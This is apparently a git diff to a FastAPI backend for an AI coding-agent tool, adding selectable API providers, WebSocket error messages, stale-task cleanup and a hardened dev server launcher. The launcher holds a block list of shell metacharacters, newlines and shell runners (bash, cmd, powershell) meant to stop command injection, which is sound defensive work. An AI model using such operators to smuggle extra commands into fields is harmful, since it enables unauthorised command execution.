||||
if not project_dir.exists():
|
||||
await websocket.send_json({"type": "error", "content": "Project directory not found"})
|
||||
await websocket.close(code=4004, reason="Project directory not found")
|
||||
return
|
||||
|
||||
@@ -124,11 +131,10 @@ async def expand_project_websocket(websocket: WebSocket, project_name: str):
|
||||
from autoforge_paths import get_prompts_dir
|
||||
spec_path = get_prompts_dir(project_dir) / "app_spec.txt"
|
||||
if not spec_path.exists():
|
||||
await websocket.send_json({"type": "error", "content": "Project has no spec. Create a spec first before expanding."})
|
||||
await websocket.close(code=4004, reason="Project has no spec. Create spec first.")
|
||||
return
|
||||
|
||||
await websocket.accept()
|
||||
|
||||
session: Optional[ExpandChatSession] = None
|
||||
|
||||
try:
|
||||
|
||||
@@ -7,12 +7,11 @@ Settings are stored in the registry database and shared across all projects.
|
||||
"""
|
||||
|
||||
import mimetypes
|
||||
import os
|
||||
import sys
|
||||
|
||||
from fastapi import APIRouter
|
||||
|
||||
from ..schemas import ModelInfo, ModelsResponse, SettingsResponse, SettingsUpdate
|
||||
from ..schemas import ModelInfo, ModelsResponse, ProviderInfo, ProvidersResponse, SettingsResponse, SettingsUpdate
|
||||
from ..services.chat_constants import ROOT_DIR
|
||||
|
||||
# Mimetype fix for Windows - must run before StaticFiles is mounted
|
||||
@@ -23,9 +22,11 @@ if str(ROOT_DIR) not in sys.path:
|
||||
sys.path.insert(0, str(ROOT_DIR))
|
||||
|
||||
from registry import (
|
||||
API_PROVIDERS,
|
||||
AVAILABLE_MODELS,
|
||||
DEFAULT_MODEL,
|
||||
get_all_settings,
|
||||
get_setting,
|
||||
set_setting,
|
||||
)
|
||||
|
||||
@@ -37,26 +38,40 @@ def _parse_yolo_mode(value: str | None) -> bool:
|
||||
return (value or "false").lower() == "true"
|
||||
|
||||
|
||||
def _is_glm_mode() -> bool:
|
||||
"""Check if GLM API is configured via environment variables."""
|
||||
base_url = os.getenv("ANTHROPIC_BASE_URL", "")
|
||||
# GLM mode is when ANTHROPIC_BASE_URL is set but NOT pointing to Ollama
|
||||
return bool(base_url) and not _is_ollama_mode()
|
||||
|
||||
|
||||
def _is_ollama_mode() -> bool:
|
||||
"""Check if Ollama API is configured via environment variables."""
|
||||
base_url = os.getenv("ANTHROPIC_BASE_URL", "")
|
||||
return "localhost:11434" in base_url or "127.0.0.1:11434" in base_url
|
||||
@router.get("/providers", response_model=ProvidersResponse)
|
||||
async def get_available_providers():
|
||||
"""Get list of available API providers."""
|
||||
current = get_setting("api_provider", "claude") or "claude"
|
||||
providers = []
|
||||
for pid, pdata in API_PROVIDERS.items():
|
||||
providers.append(ProviderInfo(
|
||||
id=pid,
|
||||
name=pdata["name"],
|
||||
base_url=pdata.get("base_url"),
|
||||
models=[ModelInfo(id=m["id"], name=m["name"]) for m in pdata.get("models", [])],
|
||||
default_model=pdata.get("default_model", ""),
|
||||
requires_auth=pdata.get("requires_auth", False),
|
||||
))
|
||||
return ProvidersResponse(providers=providers, current=current)
|
||||
|
||||
|
||||
@router.get("/models", response_model=ModelsResponse)
|
||||
async def get_available_models():
|
||||
"""Get list of available models.
|
||||
|
||||
Frontend should call this to get the current list of models
|
||||
instead of hardcoding them.
|
||||
Returns models for the currently selected API provider.
|
||||
"""
|
||||
current_provider = get_setting("api_provider", "claude") or "claude"
|
||||
provider = API_PROVIDERS.get(current_provider)
|
||||
|
||||
if provider and current_provider != "claude":
|
||||
provider_models = provider.get("models", [])
|
||||
return ModelsResponse(
|
||||
models=[ModelInfo(id=m["id"], name=m["name"]) for m in provider_models],
|
||||
default=provider.get("default_model", ""),
|
||||
)
|
||||
|
||||
# Default: return Claude models
|
||||
return ModelsResponse(
|
||||
models=[ModelInfo(id=m["id"], name=m["name"]) for m in AVAILABLE_MODELS],
|
||||
default=DEFAULT_MODEL,
|
||||
@@ -85,14 +100,23 @@ async def get_settings():
|
||||
"""Get current global settings."""
|
||||
all_settings = get_all_settings()
|
||||
|
||||
api_provider = all_settings.get("api_provider", "claude")
|
||||
|
||||
glm_mode = api_provider == "glm"
|
||||
ollama_mode = api_provider == "ollama"
|
||||
|
||||
return SettingsResponse(
|
||||
yolo_mode=_parse_yolo_mode(all_settings.get("yolo_mode")),
|
||||
model=all_settings.get("model", DEFAULT_MODEL),
|
||||
glm_mode=_is_glm_mode(),
|
||||
ollama_mode=_is_ollama_mode(),
|
||||
glm_mode=glm_mode,
|
||||
ollama_mode=ollama_mode,
|
||||
testing_agent_ratio=_parse_int(all_settings.get("testing_agent_ratio"), 1),
|
||||
playwright_headless=_parse_bool(all_settings.get("playwright_headless"), default=True),
|
||||
batch_size=_parse_int(all_settings.get("batch_size"), 3),
|
||||
api_provider=api_provider,
|
||||
api_base_url=all_settings.get("api_base_url"),
|
||||
api_has_auth_token=bool(all_settings.get("api_auth_token")),
|
||||
api_model=all_settings.get("api_model"),
|
||||
)
|
||||
|
||||
|
||||
@@ -114,14 +138,47 @@ async def update_settings(update: SettingsUpdate):
|
||||
if update.batch_size is not None:
|
||||
set_setting("batch_size", str(update.batch_size))
|
||||
|
||||
# API provider settings
|
||||
if update.api_provider is not None:
|
||||
old_provider = get_setting("api_provider", "claude")
|
||||
set_setting("api_provider", update.api_provider)
|
||||
|
||||
# When provider changes, auto-set defaults for the new provider
|
||||
if update.api_provider != old_provider:
|
||||
provider = API_PROVIDERS.get(update.api_provider)
|
||||
if provider:
|
||||
# Auto-set base URL from provider definition
|
||||
if provider.get("base_url"):
|
||||
set_setting("api_base_url", provider["base_url"])
|
||||
# Auto-set model to provider's default
|
||||
if provider.get("default_model") and update.api_model is None:
|
||||
set_setting("api_model", provider["default_model"])
|
||||
|
||||
if update.api_base_url is not None:
|
||||
set_setting("api_base_url", update.api_base_url)
|
||||
|
||||
if update.api_auth_token is not None:
|
||||
set_setting("api_auth_token", update.api_auth_token)
|
||||
|
||||
if update.api_model is not None:
|
||||
set_setting("api_model", update.api_model)
|
||||
|
||||
# Return updated settings
|
||||
all_settings = get_all_settings()
|
||||
api_provider = all_settings.get("api_provider", "claude")
|
||||
glm_mode = api_provider == "glm"
|
||||
ollama_mode = api_provider == "ollama"
|
||||
|
||||
return SettingsResponse(
|
||||
yolo_mode=_parse_yolo_mode(all_settings.get("yolo_mode")),
|
||||
model=all_settings.get("model", DEFAULT_MODEL),
|
||||
glm_mode=_is_glm_mode(),
|
||||
ollama_mode=_is_ollama_mode(),
|
||||
glm_mode=glm_mode,
|
||||
ollama_mode=ollama_mode,
|
||||
testing_agent_ratio=_parse_int(all_settings.get("testing_agent_ratio"), 1),
|
||||
playwright_headless=_parse_bool(all_settings.get("playwright_headless"), default=True),
|
||||
batch_size=_parse_int(all_settings.get("batch_size"), 3),
|
||||
api_provider=api_provider,
|
||||
api_base_url=all_settings.get("api_base_url"),
|
||||
api_has_auth_token=bool(all_settings.get("api_auth_token")),
|
||||
api_model=all_settings.get("api_model"),
|
||||
)
|
||||
|
||||
@@ -21,7 +21,7 @@ from ..services.spec_chat_session import (
|
||||
remove_session,
|
||||
)
|
||||
from ..utils.project_helpers import get_project_path as _get_project_path
|
||||
from ..utils.validation import is_valid_project_name as validate_project_name
|
||||
from ..utils.validation import is_valid_project_name, validate_project_name
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@@ -49,7 +49,7 @@ async def list_spec_sessions():
|
||||
@router.get("/sessions/{project_name}", response_model=SpecSessionStatus)
|
||||
async def get_session_status(project_name: str):
|
||||
"""Get status of a spec creation session."""
|
||||
if not validate_project_name(project_name):
|
||||
if not is_valid_project_name(project_name):
|
||||
raise HTTPException(status_code=400, detail="Invalid project name")
|
||||
|
||||
session = get_session(project_name)
|
||||
@@ -67,7 +67,7 @@ async def get_session_status(project_name: str):
|
||||
@router.delete("/sessions/{project_name}")
|
||||
async def cancel_session(project_name: str):
|
||||
"""Cancel and remove a spec creation session."""
|
||||
if not validate_project_name(project_name):
|
||||
if not is_valid_project_name(project_name):
|
||||
raise HTTPException(status_code=400, detail="Invalid project name")
|
||||
|
||||
session = get_session(project_name)
|
||||
@@ -95,7 +95,7 @@ async def get_spec_file_status(project_name: str):
|
||||
This is used for polling to detect when Claude has finished writing spec files.
|
||||
Claude writes this status file as the final step after completing all spec work.
|
||||
"""
|
||||
if not validate_project_name(project_name):
|
||||
if not is_valid_project_name(project_name):
|
||||
raise HTTPException(status_code=400, detail="Invalid project name")
|
||||
|
||||
project_dir = _get_project_path(project_name)
|
||||
@@ -166,22 +166,28 @@ async def spec_chat_websocket(websocket: WebSocket, project_name: str):
|
||||
- {"type": "error", "content": "..."} - Error message
|
||||
- {"type": "pong"} - Keep-alive pong
|
||||
"""
|
||||
if not validate_project_name(project_name):
|
||||
# Always accept WebSocket first to avoid opaque 403 errors
|
||||
await websocket.accept()
|
||||
|
||||
try:
|
||||
project_name = validate_project_name(project_name)
|
||||
except HTTPException:
|
||||
await websocket.send_json({"type": "error", "content": "Invalid project name"})
|
||||
await websocket.close(code=4000, reason="Invalid project name")
|
||||
return
|
||||
|
||||
# Look up project directory from registry
|
||||
project_dir = _get_project_path(project_name)
|
||||
if not project_dir:
|
||||
await websocket.send_json({"type": "error", "content": "Project not found in registry"})
|
||||
await websocket.close(code=4004, reason="Project not found in registry")
|
||||
return
|
||||
|
||||
if not project_dir.exists():
|
||||
await websocket.send_json({"type": "error", "content": "Project directory not found"})
|
||||
await websocket.close(code=4004, reason="Project directory not found")
|
||||
return
|
||||
|
||||
await websocket.accept()
|
||||
|
||||
session: Optional[SpecChatSession] = None
|
||||
|
||||
try:
|
||||
|
||||
@@ -26,7 +26,7 @@ from ..services.terminal_manager import (
|
||||
stop_terminal_session,
|
||||
)
|
||||
from ..utils.project_helpers import get_project_path as _get_project_path
|
||||
from ..utils.validation import is_valid_project_name as validate_project_name
|
||||
from ..utils.validation import is_valid_project_name
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@@ -89,7 +89,7 @@ async def list_project_terminals(project_name: str) -> list[TerminalInfoResponse
|
||||
Returns:
|
||||
List of terminal info objects
|
||||
"""
|
||||
if not validate_project_name(project_name):
|
||||
if not is_valid_project_name(project_name):
|
||||
raise HTTPException(status_code=400, detail="Invalid project name")
|
||||
|
||||
project_dir = _get_project_path(project_name)
|
||||
@@ -122,7 +122,7 @@ async def create_project_terminal(
|
||||
Returns:
|
||||
The created terminal info
|
||||
"""
|
||||
if not validate_project_name(project_name):
|
||||
if not is_valid_project_name(project_name):
|
||||
raise HTTPException(status_code=400, detail="Invalid project name")
|
||||
|
||||
project_dir = _get_project_path(project_name)
|
||||
@@ -148,7 +148,7 @@ async def rename_project_terminal(
|
||||
Returns:
|
||||
The updated terminal info
|
||||
"""
|
||||
if not validate_project_name(project_name):
|
||||
if not is_valid_project_name(project_name):
|
||||
raise HTTPException(status_code=400, detail="Invalid project name")
|
||||
|
||||
if not validate_terminal_id(terminal_id):
|
||||
@@ -180,7 +180,7 @@ async def delete_project_terminal(project_name: str, terminal_id: str) -> dict:
|
||||
Returns:
|
||||
Success message
|
||||
"""
|
||||
if not validate_project_name(project_name):
|
||||
if not is_valid_project_name(project_name):
|
||||
raise HTTPException(status_code=400, detail="Invalid project name")
|
||||
|
||||
if not validate_terminal_id(terminal_id):
|
||||
@@ -221,8 +221,12 @@ async def terminal_websocket(websocket: WebSocket, project_name: str, terminal_i
|
||||
- {"type": "pong"} - Keep-alive response
|
||||
- {"type": "error", "message": "..."} - Error message
|
||||
"""
|
||||
# Always accept WebSocket first to avoid opaque 403 errors
|
||||
await websocket.accept()
|
||||
|
||||
# Validate project name
|
||||
if not validate_project_name(project_name):
|
||||
if not is_valid_project_name(project_name):
|
||||
await websocket.send_json({"type": "error", "message": "Invalid project name"})
|
||||
await websocket.close(
|
||||
code=TerminalCloseCode.INVALID_PROJECT_NAME, reason="Invalid project name"
|
||||
)
|
||||
@@ -230,6 +234,7 @@ async def terminal_websocket(websocket: WebSocket, project_name: str, terminal_i
|
||||
|
||||
# Validate terminal ID
|
||||
if not validate_terminal_id(terminal_id):
|
||||
await websocket.send_json({"type": "error", "message": "Invalid terminal ID"})
|
||||
await websocket.close(
|
||||
code=TerminalCloseCode.INVALID_PROJECT_NAME, reason="Invalid terminal ID"
|
||||
)
|
||||
@@ -238,6 +243,7 @@ async def terminal_websocket(websocket: WebSocket, project_name: str, terminal_i
|
||||
# Look up project directory from registry
|
||||
project_dir = _get_project_path(project_name)
|
||||
if not project_dir:
|
||||
await websocket.send_json({"type": "error", "message": "Project not found in registry"})
|
||||
await websocket.close(
|
||||
code=TerminalCloseCode.PROJECT_NOT_FOUND,
|
||||
reason="Project not found in registry",
|
||||
@@ -245,6 +251,7 @@ async def terminal_websocket(websocket: WebSocket, project_name: str, terminal_i
|
||||
return
|
||||
|
||||
if not project_dir.exists():
|
||||
await websocket.send_json({"type": "error", "message": "Project directory not found"})
|
||||
await websocket.close(
|
||||
code=TerminalCloseCode.PROJECT_NOT_FOUND,
|
||||
reason="Project directory not found",
|
||||
@@ -254,14 +261,13 @@ async def terminal_websocket(websocket: WebSocket, project_name: str, terminal_i
|
||||
# Verify terminal exists in metadata
|
||||
terminal_info = get_terminal_info(project_name, terminal_id)
|
||||
if not terminal_info:
|
||||
await websocket.send_json({"type": "error", "message": "Terminal not found"})
|
||||
await websocket.close(
|
||||
code=TerminalCloseCode.PROJECT_NOT_FOUND,
|
||||
reason="Terminal not found",
|
||||
)
|
||||
return
|
||||
|
||||
await websocket.accept()
|
||||
|
||||
# Get or create terminal session for this project/terminal
|
||||
session = get_terminal_session(project_name, project_dir, terminal_id)
|
||||
|
||||
|
||||
@@ -391,15 +391,35 @@ class ModelInfo(BaseModel):
|
||||
name: str
|
||||
|
||||
|
||||
class ProviderInfo(BaseModel):
|
||||
"""Information about an API provider."""
|
||||
id: str
|
||||
name: str
|
||||
base_url: str | None = None
|
||||
models: list[ModelInfo]
|
||||
default_model: str
|
||||
requires_auth: bool = False
|
||||
|
||||
|
||||
class ProvidersResponse(BaseModel):
|
||||
"""Response schema for available providers list."""
|
||||
providers: list[ProviderInfo]
|
||||
current: str
|
||||
|
||||
|
||||
class SettingsResponse(BaseModel):
|
||||
"""Response schema for global settings."""
|
||||
yolo_mode: bool = False
|
||||
model: str = DEFAULT_MODEL
|
||||
glm_mode: bool = False # True if GLM API is configured via .env
|
||||
ollama_mode: bool = False # True if Ollama API is configured via .env
|
||||
glm_mode: bool = False # True when api_provider is "glm"
|
||||
ollama_mode: bool = False # True when api_provider is "ollama"
|
||||
testing_agent_ratio: int = 1 # Regression testing agents (0-3)
|
||||
playwright_headless: bool = True
|
||||
batch_size: int = 3 # Features per coding agent batch (1-3)
|
||||
api_provider: str = "claude"
|
||||
api_base_url: str | None = None
|
||||
api_has_auth_token: bool = False # Never expose actual token
|
||||
api_model: str | None = None
|
||||
|
||||
|
||||
class ModelsResponse(BaseModel):
|
||||
@@ -415,12 +435,30 @@ class SettingsUpdate(BaseModel):
|
||||
testing_agent_ratio: int | None = None # 0-3
|
||||
playwright_headless: bool | None = None
|
||||
batch_size: int | None = None # Features per agent batch (1-3)
|
||||
api_provider: str | None = None
|
||||
api_base_url: str | None = Field(None, max_length=500)
|
||||
api_auth_token: str | None = Field(None, max_length=500) # Write-only, never returned
|
||||
api_model: str | None = Field(None, max_length=200)
|
||||
|
||||
@field_validator('api_base_url')
|
||||
@classmethod
|
||||
def validate_api_base_url(cls, v: str | None) -> str | None:
|
||||
if v is not None and v.strip():
|
||||
v = v.strip()
|
||||
if not v.startswith(("http://", "https://")):
|
||||
raise ValueError("api_base_url must start with http:// or https://")
|
||||
return v
|
||||
|
||||
@field_validator('model')
|
||||
@classmethod
|
||||
def validate_model(cls, v: str | None) -> str | None:
|
||||
if v is not None and v not in VALID_MODELS:
|
||||
raise ValueError(f"Invalid model. Must be one of: {VALID_MODELS}")
|
||||
def validate_model(cls, v: str | None, info) -> str | None: # type: ignore[override]
|
||||
if v is not None:
|
||||
# Skip VALID_MODELS check when using an alternative API provider
|
||||
api_provider = info.data.get("api_provider")
|
||||
if api_provider and api_provider != "claude":
|
||||
return v
|
||||
if v not in VALID_MODELS:
|
||||
raise ValueError(f"Invalid model. Must be one of: {VALID_MODELS}")
|
||||
return v
|
||||
|
||||
@field_validator('testing_agent_ratio')
|
||||
|
||||
@@ -25,7 +25,7 @@ from .assistant_database import (
|
||||
create_conversation,
|
||||
get_messages,
|
||||
)
|
||||
from .chat_constants import API_ENV_VARS, ROOT_DIR
|
||||
from .chat_constants import ROOT_DIR
|
||||
|
||||
# Load environment variables from .env file if present
|
||||
load_dotenv()
|
||||
@@ -157,7 +157,7 @@ class AssistantChatSession:
|
||||
"""
|
||||
Manages a read-only assistant conversation for a project.
|
||||
|
||||
Uses Claude Opus 4.5 with only read-only tools enabled.
|
||||
Uses Claude Opus with only read-only tools enabled.
|
||||
Persists conversation history to SQLite.
|
||||
"""
|
||||
|
||||
@@ -258,15 +258,11 @@ class AssistantChatSession:
|
||||
system_cli = shutil.which("claude")
|
||||
|
||||
# Build environment overrides for API configuration
|
||||
sdk_env: dict[str, str] = {}
|
||||
for var in API_ENV_VARS:
|
||||
value = os.getenv(var)
|
||||
if value:
|
||||
sdk_env[var] = value
|
||||
from registry import DEFAULT_MODEL, get_effective_sdk_env
|
||||
sdk_env = get_effective_sdk_env()
|
||||
|
||||
# Determine model from environment or use default
|
||||
# This allows using alternative APIs (e.g., GLM via z.ai) that may not support Claude model names
|
||||
model = os.getenv("ANTHROPIC_DEFAULT_OPUS_MODEL", "claude-opus-4-5-20251101")
|
||||
# Determine model from SDK env (provider-aware) or fallback to env/default
|
||||
model = sdk_env.get("ANTHROPIC_DEFAULT_OPUS_MODEL") or os.getenv("ANTHROPIC_DEFAULT_OPUS_MODEL", DEFAULT_MODEL)
|
||||
|
||||
try:
|
||||
logger.info("Creating ClaudeSDKClient...")
|
||||
|
||||
@@ -14,17 +14,17 @@ This is a simplified version of AgentProcessManager, tailored for dev servers:
|
||||
import asyncio
|
||||
import logging
|
||||
import re
|
||||
import shlex
|
||||
import subprocess
|
||||
import sys
|
||||
import threading
|
||||
from datetime import datetime
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from typing import Awaitable, Callable, Literal, Set
|
||||
|
||||
import psutil
|
||||
|
||||
from registry import list_registered_projects
|
||||
from security import extract_commands, get_effective_commands, is_command_allowed
|
||||
from server.utils.process_utils import kill_process_tree
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
@@ -291,53 +291,54 @@ class DevServerProcessManager:
|
||||
Start the dev server as a subprocess.
|
||||
|
||||
Args:
|
||||
command: The shell command to run (e.g., "npm run dev")
|
||||
command: The command to run (e.g., "npm run dev")
|
||||
|
||||
Returns:
|
||||
Tuple of (success, message)
|
||||
"""
|
||||
if self.status == "running":
|
||||
# Already running?
|
||||
if self.process and self.status == "running":
|
||||
return False, "Dev server is already running"
|
||||
|
||||
# Lock check (prevents double-start)
|
||||
if not self._check_lock():
|
||||
return False, "Another dev server instance is already running for this project"
|
||||
return False, "Dev server already running (lock file present)"
|
||||
|
||||
# Validate that project directory exists
|
||||
if not self.project_dir.exists():
|
||||
return False, f"Project directory does not exist: {self.project_dir}"
|
||||
command = (command or "").strip()
|
||||
if not command:
|
||||
return False, "Empty dev server command"
|
||||
|
||||
# Defense-in-depth: validate command against security allowlist
|
||||
commands = extract_commands(command)
|
||||
if not commands:
|
||||
return False, "Could not parse command for security validation"
|
||||
# SECURITY: block shell operators/metacharacters (defense-in-depth)
|
||||
# NOTE: On Windows, .cmd/.bat files are executed via cmd.exe even with
|
||||
# shell=False (CPython limitation), so metacharacter blocking is critical.
|
||||
# Single & is a cmd.exe command separator, ^ is cmd escape, % enables
|
||||
# environment variable expansion, > < enable redirection.
|
||||
dangerous_ops = ["&&", "||", ";", "|", "`", "$(", "&", ">", "<", "^", "%"]
|
||||
if any(op in command for op in dangerous_ops):
|
||||
return False, "Shell operators are not allowed in dev server command"
|
||||
# Block newline injection (cmd.exe interprets newlines as command separators)
|
||||
if "\n" in command or "\r" in command:
|
||||
return False, "Newlines are not allowed in dev server command"
|
||||
|
||||
allowed_commands, blocked_commands = get_effective_commands(self.project_dir)
|
||||
for cmd in commands:
|
||||
if cmd in blocked_commands:
|
||||
logger.warning("Blocked dev server command '%s' (in blocklist) for %s", cmd, self.project_name)
|
||||
return False, f"Command '{cmd}' is blocked and cannot be used as a dev server command"
|
||||
if not is_command_allowed(cmd, allowed_commands):
|
||||
logger.warning("Rejected dev server command '%s' (not in allowlist) for %s", cmd, self.project_name)
|
||||
return False, f"Command '{cmd}' is not in the allowed commands list"
|
||||
# Parse into argv and execute without shell
|
||||
argv = shlex.split(command, posix=(sys.platform != "win32"))
|
||||
if not argv:
|
||||
return False, "Empty dev server command"
|
||||
|
||||
self._command = command
|
||||
self._detected_url = None # Reset URL detection
|
||||
base = Path(argv[0]).name.lower()
|
||||
|
||||
# Defense-in-depth: reject direct shells/interpreters commonly used for injection
|
||||
if base in {"sh", "bash", "zsh", "cmd", "powershell", "pwsh"}:
|
||||
return False, f"Shell runner '{base}' is not allowed for dev server commands"
|
||||
|
||||
# Windows: use .cmd shims for Node package managers
|
||||
if sys.platform == "win32" and base in {"npm", "pnpm", "yarn", "npx"} and not argv[0].lower().endswith(".cmd"):
|
||||
argv[0] = argv[0] + ".cmd"
|
||||
|
||||
try:
|
||||
# Determine shell based on platform
|
||||
if sys.platform == "win32":
|
||||
# On Windows, use cmd.exe
|
||||
shell_cmd = ["cmd", "/c", command]
|
||||
else:
|
||||
# On Unix-like systems, use sh
|
||||
shell_cmd = ["sh", "-c", command]
|
||||
|
||||
# Start subprocess with piped stdout/stderr
|
||||
# stdin=DEVNULL prevents interactive dev servers from blocking on stdin
|
||||
# On Windows, use CREATE_NO_WINDOW to prevent console window from flashing
|
||||
if sys.platform == "win32":
|
||||
self.process = subprocess.Popen(
|
||||
shell_cmd,
|
||||
argv,
|
||||
stdin=subprocess.DEVNULL,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
@@ -346,23 +347,33 @@ class DevServerProcessManager:
|
||||
)
|
||||
else:
|
||||
self.process = subprocess.Popen(
|
||||
shell_cmd,
|
||||
argv,
|
||||
stdin=subprocess.DEVNULL,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
cwd=str(self.project_dir),
|
||||
)
|
||||
|
||||
self._create_lock()
|
||||
self.started_at = datetime.now()
|
||||
self.status = "running"
|
||||
self._command = command
|
||||
self.started_at = datetime.now(timezone.utc)
|
||||
self._detected_url = None
|
||||
|
||||
# Start output streaming task
|
||||
# Create lock once we have a PID
|
||||
self._create_lock()
|
||||
|
||||
# Start output streaming
|
||||
self.status = "running"
|
||||
self._output_task = asyncio.create_task(self._stream_output())
|
||||
|
||||
return True, f"Dev server started with PID {self.process.pid}"
|
||||
return True, "Dev server started"
|
||||
|
||||
except FileNotFoundError:
|
||||
self.status = "stopped"
|
||||
self.process = None
|
||||
return False, f"Command not found: {argv[0]}"
|
||||
except Exception as e:
|
||||
logger.exception("Failed to start dev server")
|
||||
self.status = "stopped"
|
||||
self.process = None
|
||||
return False, f"Failed to start dev server: {e}"
|
||||
|
||||
async def stop(self) -> tuple[bool, str]:
|
||||
|
||||
@@ -22,7 +22,7 @@ from claude_agent_sdk import ClaudeAgentOptions, ClaudeSDKClient
|
||||
from dotenv import load_dotenv
|
||||
|
||||
from ..schemas import ImageAttachment
|
||||
from .chat_constants import API_ENV_VARS, ROOT_DIR, make_multimodal_message
|
||||
from .chat_constants import ROOT_DIR, make_multimodal_message
|
||||
|
||||
# Load environment variables from .env file if present
|
||||
load_dotenv()
|
||||
@@ -154,16 +154,11 @@ class ExpandChatSession:
|
||||
system_prompt = skill_content.replace("$ARGUMENTS", project_path)
|
||||
|
||||
# Build environment overrides for API configuration
|
||||
# Filter to only include vars that are actually set (non-None)
|
||||
sdk_env: dict[str, str] = {}
|
||||
for var in API_ENV_VARS:
|
||||
value = os.getenv(var)
|
||||
if value:
|
||||
sdk_env[var] = value
|
||||
from registry import DEFAULT_MODEL, get_effective_sdk_env
|
||||
sdk_env = get_effective_sdk_env()
|
||||
|
||||
# Determine model from environment or use default
|
||||
# This allows using alternative APIs (e.g., GLM via z.ai) that may not support Claude model names
|
||||
model = os.getenv("ANTHROPIC_DEFAULT_OPUS_MODEL", "claude-opus-4-5-20251101")
|
||||
# Determine model from SDK env (provider-aware) or fallback to env/default
|
||||
model = sdk_env.get("ANTHROPIC_DEFAULT_OPUS_MODEL") or os.getenv("ANTHROPIC_DEFAULT_OPUS_MODEL", DEFAULT_MODEL)
|
||||
|
||||
# Build MCP servers config for feature creation
|
||||
mcp_servers = {
|
||||
|
||||
@@ -227,6 +227,46 @@ class AgentProcessManager:
|
||||
"""Remove lock file."""
|
||||
self.lock_file.unlink(missing_ok=True)
|
||||
|
||||
def _cleanup_stale_features(self) -> None:
|
||||
"""Clear in_progress flag for all features when agent stops/crashes.
|
||||
|
||||
When the agent process exits (normally or crash), any features left
|
||||
with in_progress=True were being worked on and didn't complete.
|
||||
Reset them so they can be picked up on next agent start.
|
||||
"""
|
||||
try:
|
||||
from autoforge_paths import get_features_db_path
|
||||
features_db = get_features_db_path(self.project_dir)
|
||||
if not features_db.exists():
|
||||
return
|
||||
|
||||
from sqlalchemy import create_engine
|
||||
from sqlalchemy.orm import sessionmaker
|
||||
|
||||
from api.database import Feature
|
||||
|
||||
engine = create_engine(f"sqlite:///{features_db}")
|
||||
Session = sessionmaker(bind=engine)
|
||||
session = Session()
|
||||
try:
|
||||
stuck = session.query(Feature).filter(
|
||||
Feature.in_progress == True, # noqa: E712
|
||||
Feature.passes == False, # noqa: E712
|
||||
).all()
|
||||
if stuck:
|
||||
for f in stuck:
|
||||
f.in_progress = False
|
||||
session.commit()
|
||||
logger.info(
|
||||
"Cleaned up %d stuck feature(s) for %s",
|
||||
len(stuck), self.project_name,
|
||||
)
|
||||
finally:
|
||||
session.close()
|
||||
engine.dispose()
|
||||
except Exception as e:
|
||||
logger.warning("Failed to cleanup features for %s: %s", self.project_name, e)
|
||||
|
||||
async def _broadcast_output(self, line: str) -> None:
|
||||
"""Broadcast output line to all registered callbacks."""
|
||||
with self._callbacks_lock:
|
||||
@@ -288,6 +328,7 @@ class AgentProcessManager:
|
||||
self.status = "crashed"
|
||||
elif self.status == "running":
|
||||
self.status = "stopped"
|
||||
self._cleanup_stale_features()
|
||||
self._remove_lock()
|
||||
|
||||
async def start(
|
||||
@@ -305,7 +346,7 @@ class AgentProcessManager:
|
||||
|
||||
Args:
|
||||
yolo_mode: If True, run in YOLO mode (skip testing agents)
|
||||
model: Model to use (e.g., claude-opus-4-5-20251101)
|
||||
model: Model to use (e.g., claude-opus-4-6)
|
||||
parallel_mode: DEPRECATED - ignored, always uses unified orchestrator
|
||||
max_concurrency: Max concurrent coding agents (1-5, default 1)
|
||||
testing_agent_ratio: Number of regression testing agents (0-3, default 1)
|
||||
@@ -320,6 +361,9 @@ class AgentProcessManager:
|
||||
if not self._check_lock():
|
||||
return False, "Another agent instance is already running for this project"
|
||||
|
||||
# Clean up features stuck from a previous crash/stop
|
||||
self._cleanup_stale_features()
|
||||
|
||||
# Store for status queries
|
||||
self.yolo_mode = yolo_mode
|
||||
self.model = model
|
||||
@@ -359,12 +403,22 @@ class AgentProcessManager:
|
||||
# stdin=DEVNULL prevents blocking if Claude CLI or child process tries to read stdin
|
||||
# CREATE_NO_WINDOW on Windows prevents console window pop-ups
|
||||
# PYTHONUNBUFFERED ensures output isn't delayed
|
||||
# Build subprocess environment with API provider settings
|
||||
from registry import get_effective_sdk_env
|
||||
api_env = get_effective_sdk_env()
|
||||
subprocess_env = {
|
||||
**os.environ,
|
||||
"PYTHONUNBUFFERED": "1",
|
||||
"PLAYWRIGHT_HEADLESS": "true" if playwright_headless else "false",
|
||||
**api_env,
|
||||
}
|
||||
|
||||
popen_kwargs: dict[str, Any] = {
|
||||
"stdin": subprocess.DEVNULL,
|
||||
"stdout": subprocess.PIPE,
|
||||
"stderr": subprocess.STDOUT,
|
||||
"cwd": str(self.project_dir),
|
||||
"env": {**os.environ, "PYTHONUNBUFFERED": "1", "PLAYWRIGHT_HEADLESS": "true" if playwright_headless else "false"},
|
||||
"env": subprocess_env,
|
||||
}
|
||||
if sys.platform == "win32":
|
||||
popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
|
||||
@@ -425,6 +479,7 @@ class AgentProcessManager:
|
||||
result.children_terminated, result.children_killed
|
||||
)
|
||||
|
||||
self._cleanup_stale_features()
|
||||
self._remove_lock()
|
||||
self.status = "stopped"
|
||||
self.process = None
|
||||
@@ -502,6 +557,7 @@ class AgentProcessManager:
|
||||
if poll is not None:
|
||||
# Process has terminated
|
||||
if self.status in ("running", "paused"):
|
||||
self._cleanup_stale_features()
|
||||
self.status = "crashed"
|
||||
self._remove_lock()
|
||||
return False
|
||||
|
||||
@@ -19,7 +19,7 @@ from claude_agent_sdk import ClaudeAgentOptions, ClaudeSDKClient
|
||||
from dotenv import load_dotenv
|
||||
|
||||
from ..schemas import ImageAttachment
|
||||
from .chat_constants import API_ENV_VARS, ROOT_DIR, make_multimodal_message
|
||||
from .chat_constants import ROOT_DIR, make_multimodal_message
|
||||
|
||||
# Load environment variables from .env file if present
|
||||
load_dotenv()
|
||||
@@ -140,16 +140,11 @@ class SpecChatSession:
|
||||
system_cli = shutil.which("claude")
|
||||
|
||||
# Build environment overrides for API configuration
|
||||
# Filter to only include vars that are actually set (non-None)
|
||||
sdk_env: dict[str, str] = {}
|
||||
for var in API_ENV_VARS:
|
||||
value = os.getenv(var)
|
||||
if value:
|
